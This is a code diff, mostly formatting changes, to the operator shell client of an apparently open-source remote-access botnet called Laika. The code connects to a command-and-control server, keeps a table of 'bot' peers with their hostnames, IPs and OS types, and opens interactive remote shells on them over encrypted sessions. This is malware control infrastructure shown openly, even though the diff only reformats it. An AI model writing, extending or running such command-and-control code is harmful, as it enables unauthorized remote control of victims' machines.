@ -65,7 +72,9 @@ void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) {
|
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
|
||||||
|
taskCallback callback, void *uData)
|
||||||
|
{
|
||||||
struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task));
|
struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task));
|
||||||
|
|
||||||
task->callback = callback;
|
task->callback = callback;
|
||||||
@ -77,17 +86,21 @@ struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta
|
|||||||
return task;
|
return task;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) {
|
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task)
|
||||||
|
{
|
||||||
unscheduleTask(service, task);
|
unscheduleTask(service, task);
|
||||||
laikaM_free(task);
|
laikaM_free(task);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaT_pollTasks(struct sLaika_taskService *service) {
|
void laikaT_pollTasks(struct sLaika_taskService *service)
|
||||||
|
{
|
||||||
struct sLaika_task *last, *curr = service->headTask;
|
struct sLaika_task *last, *curr = service->headTask;
|
||||||
clock_t currTick = laikaT_getTime();
|
clock_t currTick = laikaT_getTime();
|
||||||
|
|
||||||
/* run each task, list is already sorted from closest scheduled task to furthest */
|
/* run each task, list is already sorted from closest scheduled task to furthest */
|
||||||
while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */
|
while (curr != NULL &&
|
||||||
|
curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events
|
||||||
|
that follow are also not scheduled yet */
|
||||||
/* walk to next task */
|
/* walk to next task */
|
||||||
last = curr;
|
last = curr;
|
||||||
curr = curr->next;
|
curr = curr->next;
|
||||||
@ -102,7 +115,8 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
|
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
|
||||||
int laikaT_timeTillTask(struct sLaika_taskService *service) {
|
int laikaT_timeTillTask(struct sLaika_taskService *service)
|
||||||
|
{
|
||||||
if (service->headTask) {
|
if (service->headTask) {
|
||||||
int pause = service->headTask->scheduled - laikaT_getTime();
|
int pause = service->headTask->scheduled - laikaT_getTime();
|
||||||
return (pause > 0) ? pause : 0;
|
return (pause > 0) ? pause : 0;
|
||||||
|
@ -3,12 +3,12 @@
|
|||||||
|
|
||||||
#include "hashmap.h"
|
#include "hashmap.h"
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
#include "ltask.h"
|
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
|
#include "ltask.h"
|
||||||
#include "speer.h"
|
#include "speer.h"
|
||||||
|
|
||||||
typedef struct sShell_client {
|
typedef struct sShell_client
|
||||||
|
{
|
||||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||||
struct sLaika_pollList pList;
|
struct sLaika_pollList pList;
|
||||||
struct sLaika_taskService tService;
|
struct sLaika_taskService tService;
|
||||||
@ -31,7 +31,8 @@ bool shellC_poll(tShell_client *client, int timeout);
|
|||||||
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv);
|
void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv);
|
||||||
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
|
tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
|
||||||
|
|
||||||
int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */
|
/* returns new peer id */
|
||||||
|
int shellC_addPeer(tShell_client *client, tShell_peer *peer);
|
||||||
void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
|
void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
|
||||||
|
|
||||||
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row);
|
void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row);
|
||||||
|
@ -1,13 +1,14 @@
|
|||||||
#ifndef SHELLCMD_H
|
#ifndef SHELLCMD_H
|
||||||
#define SHELLCMD_H
|
#define SHELLCMD_H
|
||||||
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include "sclient.h"
|
#include "sclient.h"
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
|
typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
|
||||||
|
|
||||||
typedef struct sShell_cmdDef {
|
typedef struct sShell_cmdDef
|
||||||
|
{
|
||||||
const char *cmd;
|
const char *cmd;
|
||||||
const char *help;
|
const char *help;
|
||||||
const char *syntax;
|
const char *syntax;
|
||||||
|
@ -1,17 +1,19 @@
|
|||||||
#ifndef SHELLPEER_H
|
#ifndef SHELLPEER_H
|
||||||
#define SHELLPEER_H
|
#define SHELLPEER_H
|
||||||
|
|
||||||
#include "lsodium.h"
|
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
|
#include "lsodium.h"
|
||||||
|
|
||||||
typedef struct sShell_peer {
|
typedef struct sShell_peer
|
||||||
|
{
|
||||||
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
|
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
|
||||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
||||||
PEERTYPE type;
|
PEERTYPE type;
|
||||||
OSTYPE osType;
|
OSTYPE osType;
|
||||||
} tShell_peer;
|
} tShell_peer;
|
||||||
|
|
||||||
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipStr);
|
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet,
|
||||||
|
char *ipStr);
|
||||||
void shellP_freePeer(tShell_peer *peer);
|
void shellP_freePeer(tShell_peer *peer);
|
||||||
|
|
||||||
void shellP_printInfo(tShell_peer *peer);
|
void shellP_printInfo(tShell_peer *peer);
|
||||||
|
@ -1,18 +1,19 @@
|
|||||||
#ifndef SHELLTERM_H
|
#ifndef SHELLTERM_H
|
||||||
#define SHELLTERM_H
|
#define SHELLTERM_H
|
||||||
|
|
||||||
#include <stdlib.h>
|
#include "sclient.h"
|
||||||
|
|
||||||
#include <stdarg.h>
|
#include <stdarg.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
#include <sys/select.h>
|
#include <sys/select.h>
|
||||||
#include <termios.h>
|
#include <termios.h>
|
||||||
#include <stdbool.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
#include "sclient.h"
|
typedef enum
|
||||||
|
{
|
||||||
typedef enum {
|
|
||||||
TERM_BLACK,
|
TERM_BLACK,
|
||||||
TERM_RED,
|
TERM_RED,
|
||||||
TERM_GREEN,
|
TERM_GREEN,
|
||||||
@ -31,29 +32,34 @@ typedef enum {
|
|||||||
TERM_BRIGHT_WHITE
|
TERM_BRIGHT_WHITE
|
||||||
} TERM_COLOR;
|
} TERM_COLOR;
|
||||||
|
|
||||||
#define PRINTTAG(color) shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
|
#define PRINTTAG(color) \
|
||||||
|
shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE))
|
||||||
|
|
||||||
#define PRINTINFO(...) do { \
|
#define PRINTINFO(...) \
|
||||||
PRINTTAG(TERM_BRIGHT_YELLOW); \
|
do { \
|
||||||
shellT_printf(__VA_ARGS__); \
|
PRINTTAG(TERM_BRIGHT_YELLOW); \
|
||||||
} while(0);
|
shellT_printf(__VA_ARGS__); \
|
||||||
|
} while (0);
|
||||||
|
|
||||||
#define PRINTSUCC(...) do { \
|
#define PRINTSUCC(...) \
|
||||||
PRINTTAG(TERM_BRIGHT_GREEN); \
|
do { \
|
||||||
shellT_printf(__VA_ARGS__); \
|
PRINTTAG(TERM_BRIGHT_GREEN); \
|
||||||
} while(0);
|
shellT_printf(__VA_ARGS__); \
|
||||||
|
} while (0);
|
||||||
|
|
||||||
#define PRINTERROR(...) do { \
|
#define PRINTERROR(...) \
|
||||||
PRINTTAG(TERM_BRIGHT_RED); \
|
do { \
|
||||||
shellT_printf(__VA_ARGS__); \
|
PRINTTAG(TERM_BRIGHT_RED); \
|
||||||
} while(0);
|
shellT_printf(__VA_ARGS__); \
|
||||||
|
} while (0);
|
||||||
|
|
||||||
void shellT_conioTerm(void);
|
void shellT_conioTerm(void);
|
||||||
void shellT_resetTerm(void);
|
void shellT_resetTerm(void);
|
||||||
const char *shellT_getForeColor(TERM_COLOR);
|
const char *shellT_getForeColor(TERM_COLOR);
|
||||||
void shellT_printf(const char *format, ...);
|
void shellT_printf(const char *format, ...);
|
||||||
|
|
||||||
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */
|
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no
|
||||||
|
* events */
|
||||||
bool shellT_waitForInput(int timeout);
|
bool shellT_waitForInput(int timeout);
|
||||||
int shellT_readRawInput(uint8_t *buf, size_t max);
|
int shellT_readRawInput(uint8_t *buf, size_t max);
|
||||||
void shellT_writeRawOutput(uint8_t *buf, size_t sz);
|
void shellT_writeRawOutput(uint8_t *buf, size_t sz);
|
||||||
@ -62,6 +68,7 @@ char shellT_getch(void);
|
|||||||
int shellT_kbget(void);
|
int shellT_kbget(void);
|
||||||
void shellT_printPrompt(void);
|
void shellT_printPrompt(void);
|
||||||
void shellT_setPrompt(char *prompt);
|
void shellT_setPrompt(char *prompt);
|
||||||
void shellT_addChar(tShell_client *client, int c); /* processes input, moving cursor, adding char to cmd, etc. */
|
/* processes input, moving cursor, adding char to cmd, etc. */
|
||||||
|
void shellT_addChar(tShell_client *client, int c);
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -1,39 +1,52 @@
|
|||||||
#include <stdio.h>
|
#include "ini.h"
|
||||||
|
|
||||||
#include "sclient.h"
|
#include "sclient.h"
|
||||||
#include "sterm.h"
|
#include "sterm.h"
|
||||||
#include "ini.h"
|
|
||||||
|
|
||||||
#define STRING(x) #x
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#define STRING(x) #x
|
||||||
#define MACROLITSTR(x) STRING(x)
|
#define MACROLITSTR(x) STRING(x)
|
||||||
|
|
||||||
const char *LOGO = "\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
|
const char *LOGO =
|
||||||
|
"\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n "
|
||||||
|
" ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n "
|
||||||
|
" ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝";
|
||||||
|
|
||||||
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
|
|
||||||
tShell_client *client = (tShell_client*)user;
|
|
||||||
|
|
||||||
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
|
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
|
||||||
|
|
||||||
|
static int iniHandler(void *user, const char *section, const char *name, const char *value)
|
||||||
|
{
|
||||||
|
tShell_client *client = (tShell_client *)user;
|
||||||
|
|
||||||
if (MATCH("auth", "public-key")) {
|
if (MATCH("auth", "public-key")) {
|
||||||
shellC_loadKeys(client, value, NULL);
|
shellC_loadKeys(client, value, NULL);
|
||||||
PRINTINFO("Auth pubkey: %s\n", value);
|
PRINTINFO("Auth pubkey: %s\n", value);
|
||||||
} else if (MATCH("auth", "private-key")){
|
} else if (MATCH("auth", "private-key")) {
|
||||||
shellC_loadKeys(client, NULL, value);
|
shellC_loadKeys(client, NULL, value);
|
||||||
} else {
|
} else {
|
||||||
return 0; /* unknown section/name, error */
|
return 0; /* unknown section/name, error */
|
||||||
}
|
}
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool loadConfig(tShell_client *client, char *config) {
|
#undef MATCH
|
||||||
|
|
||||||
|
bool loadConfig(tShell_client *client, char *config)
|
||||||
|
{
|
||||||
int iniRes;
|
int iniRes;
|
||||||
|
|
||||||
printf("Loading config file '%s'...\n", config);
|
printf("Loading config file '%s'...\n", config);
|
||||||
if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) {
|
if ((iniRes = ini_parse(config, iniHandler, (void *)client)) < 0) {
|
||||||
switch (iniRes) {
|
switch (iniRes) {
|
||||||
case -1: printf("Couldn't load config file '%s'!\n", config); break;
|
case -1:
|
||||||
case -2: printf("Memory allocation error :/\n"); break;
|
printf("Couldn't load config file '%s'!\n", config);
|
||||||
default:
|
break;
|
||||||
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
|
case -2:
|
||||||
|
printf("Memory allocation error :/\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@ -41,19 +54,26 @@ bool loadConfig(tShell_client *client, char *config) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(int argv, char *argc[]) {
|
int main(int argv, char *argc[])
|
||||||
|
{
|
||||||
tShell_client client;
|
tShell_client client;
|
||||||
char *configFile = "shell.ini";
|
char *configFile = "shell.ini";
|
||||||
bool printPrompt = false;
|
bool printPrompt = false;
|
||||||
|
|
||||||
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
|
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO,
|
||||||
shellT_printf(" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
|
shellT_getForeColor(TERM_BRIGHT_WHITE));
|
||||||
|
|
||||||
|
shellT_printf(
|
||||||
|
" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n",
|
||||||
|
shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE),
|
||||||
|
"v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
|
||||||
|
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT);
|
||||||
|
|
||||||
shellC_init(&client);
|
shellC_init(&client);
|
||||||
|
|
||||||
/* load config file */
|
/* load config file */
|
||||||
if (argv >= 2)
|
if (argv >= 2)
|
||||||
configFile = argc[1];
|
configFile = argc[1];
|
||||||
|
|
||||||
if (!loadConfig(&client, configFile))
|
if (!loadConfig(&client, configFile))
|
||||||
return 1;
|
return 1;
|
||||||
@ -61,7 +81,7 @@ int main(int argv, char *argc[]) {
|
|||||||
shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
||||||
|
|
||||||
shellT_conioTerm();
|
shellT_conioTerm();
|
||||||
while(laikaS_isAlive((&client.peer->sock))) {
|
while (laikaS_isAlive((&client.peer->sock))) {
|
||||||
/* poll for 50ms */
|
/* poll for 50ms */
|
||||||
if (!shellC_poll(&client, 50)) {
|
if (!shellC_poll(&client, 50)) {
|
||||||
/* check if we have input! */
|
/* check if we have input! */
|
||||||
|
@ -1,57 +1,63 @@
|
|||||||
#include "lmem.h"
|
#include "sclient.h"
|
||||||
|
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
#include "lpacket.h"
|
#include "lpacket.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
#include "sterm.h"
|
#include "sterm.h"
|
||||||
|
|
||||||
#include "sclient.h"
|
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
||||||
|
void *uData)
|
||||||
|
{
|
||||||
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
tShell_client *client = (tShell_client *)uData;
|
||||||
tShell_client *client = (tShell_client*)uData;
|
|
||||||
|
|
||||||
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
|
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ======================================[[ PeerHashMap ]]====================================== */
|
/* ======================================[[ PeerHashMap ]]====================================== */
|
||||||
|
|
||||||
typedef struct sShell_hashMapElem {
|
typedef struct sShell_hashMapElem
|
||||||
|
{
|
||||||
int id;
|
int id;
|
||||||
tShell_peer *peer;
|
tShell_peer *peer;
|
||||||
uint8_t *pub;
|
uint8_t *pub;
|
||||||
} tShell_hashMapElem;
|
} tShell_hashMapElem;
|
||||||
|
|
||||||
int shell_ElemCompare(const void *a, const void *b, void *udata) {
|
int shell_ElemCompare(const void *a, const void *b, void *udata)
|
||||||
|
{
|
||||||
const tShell_hashMapElem *ua = a;
|
const tShell_hashMapElem *ua = a;
|
||||||
const tShell_hashMapElem *ub = b;
|
const tShell_hashMapElem *ub = b;
|
||||||
|
|
||||||
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
|
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
|
uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1)
|
||||||
|
{
|
||||||
const tShell_hashMapElem *u = item;
|
const tShell_hashMapElem *u = item;
|
||||||
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
|
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ====================================[[ Packet Handlers ]]==================================== */
|
/* ====================================[[ Packet Handlers ]]==================================== */
|
||||||
|
|
||||||
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||||
|
|
||||||
PRINTSUCC("Handshake accepted!\n");
|
PRINTSUCC("Handshake accepted!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
LAIKA_DEBUG("got ping from cnc!\n");
|
LAIKA_DEBUG("got ping from cnc!\n");
|
||||||
/* stubbed */
|
/* stubbed */
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
{
|
||||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
||||||
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
||||||
tShell_client *client = (tShell_client*)uData;
|
tShell_client *client = (tShell_client *)uData;
|
||||||
tShell_peer *bot;
|
tShell_peer *bot;
|
||||||
uint8_t type, osType;
|
uint8_t type, osType;
|
||||||
|
|
||||||
@ -78,9 +84,10 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
|
|||||||
shellC_addPeer(client, bot);
|
shellC_addPeer(client, bot);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
||||||
tShell_client *client = (tShell_client*)uData;
|
tShell_client *client = (tShell_client *)uData;
|
||||||
tShell_peer *bot;
|
tShell_peer *bot;
|
||||||
uint8_t type;
|
uint8_t type;
|
||||||
int id;
|
int id;
|
||||||
@ -100,17 +107,19 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
|
|||||||
shellC_rmvPeer(client, bot, id);
|
shellC_rmvPeer(client, bot, id);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
/* stubbed! this packet is a no-op currently */
|
/* stubbed! this packet is a no-op currently */
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||||
tShell_client *client = (tShell_client*)uData;
|
tShell_client *client = (tShell_client *)uData;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
/* ignore packet if malformed */
|
/* ignore packet if malformed */
|
||||||
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
|
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
||||||
@ -124,8 +133,9 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
shellT_writeRawOutput(buf, sz);
|
shellT_writeRawOutput(buf, sz);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
tShell_client *client = (tShell_client*)uData;
|
{
|
||||||
|
tShell_client *client = (tShell_client *)uData;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
||||||
@ -176,26 +186,24 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
|
|||||||
/* clang-format on */
|
/* clang-format on */
|
||||||
|
|
||||||
/* socket event */
|
/* socket event */
|
||||||
void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
|
void shellC_onPollFail(struct sLaika_socket *sock, void *uData)
|
||||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
{
|
||||||
struct sShell_client *client = (struct sShell_client*)uData;
|
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||||
|
struct sShell_client *client = (struct sShell_client *)uData;
|
||||||
|
|
||||||
laikaS_kill(&client->peer->sock);
|
laikaS_kill(&client->peer->sock);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ======================================[[ Client API ]]======================================= */
|
/* ======================================[[ Client API ]]======================================= */
|
||||||
|
|
||||||
void shellC_init(tShell_client *client) {
|
void shellC_init(tShell_client *client)
|
||||||
|
{
|
||||||
laikaP_initPList(&client->pList);
|
laikaP_initPList(&client->pList);
|
||||||
client->peer = laikaS_newPeer(
|
client->peer = laikaS_newPeer(shellC_pktTbl, &client->pList, shellC_onPollFail, (void *)client,
|
||||||
shellC_pktTbl,
|
(void *)client);
|
||||||
&client->pList,
|
|
||||||
shellC_onPollFail,
|
|
||||||
(void*)client,
|
|
||||||
(void*)client
|
|
||||||
);
|
|
||||||
|
|
||||||
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL);
|
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash,
|
||||||
|
shell_ElemCompare, NULL, NULL);
|
||||||
client->openShell = NULL;
|
client->openShell = NULL;
|
||||||
client->peerTbl = NULL;
|
client->peerTbl = NULL;
|
||||||
client->peerTblCap = 4;
|
client->peerTblCap = 4;
|
||||||
@ -223,7 +231,8 @@ void shellC_init(tShell_client *client) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_cleanup(tShell_client *client) {
|
void shellC_cleanup(tShell_client *client)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
laikaS_freePeer(client->peer);
|
laikaS_freePeer(client->peer);
|
||||||
@ -240,13 +249,15 @@ void shellC_cleanup(tShell_client *client) {
|
|||||||
laikaM_free(client->peerTbl);
|
laikaM_free(client->peerTbl);
|
||||||
}
|
}
|
||||||
|
|
||||||
void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
|
void shellC_connectToCNC(tShell_client *client, char *ip, char *port)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &client->peer->sock;
|
struct sLaika_socket *sock = &client->peer->sock;
|
||||||
|
|
||||||
PRINTINFO("Connecting to %s:%s...\n", ip, port);
|
PRINTINFO("Connecting to %s:%s...\n", ip, port);
|
||||||
|
|
||||||
/* create encryption keys */
|
/* create encryption keys */
|
||||||
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)
|
if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub,
|
||||||
|
client->priv, client->peer->peerPub) != 0)
|
||||||
LAIKA_ERROR("failed to gen session key!\n");
|
LAIKA_ERROR("failed to gen session key!\n");
|
||||||
|
|
||||||
/* setup socket */
|
/* setup socket */
|
||||||
@ -262,7 +273,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
|
|||||||
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
||||||
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
|
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
|
||||||
|
|
||||||
/* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this information really) */
|
/* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this
|
||||||
|
* information really) */
|
||||||
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
|
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
|
||||||
laikaS_zeroWrite(sock, LAIKA_INET_LEN);
|
laikaS_zeroWrite(sock, LAIKA_INET_LEN);
|
||||||
laikaS_endOutPacket(client->peer);
|
laikaS_endOutPacket(client->peer);
|
||||||
@ -276,7 +288,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
|
|||||||
/* the handshake requests will be sent on the next call to shellC_poll */
|
/* the handshake requests will be sent on the next call to shellC_poll */
|
||||||
}
|
}
|
||||||
|
|
||||||
bool shellC_poll(tShell_client *client, int timeout) {
|
bool shellC_poll(tShell_client *client, int timeout)
|
||||||
|
{
|
||||||
struct sLaika_pollEvent *evnts;
|
struct sLaika_pollEvent *evnts;
|
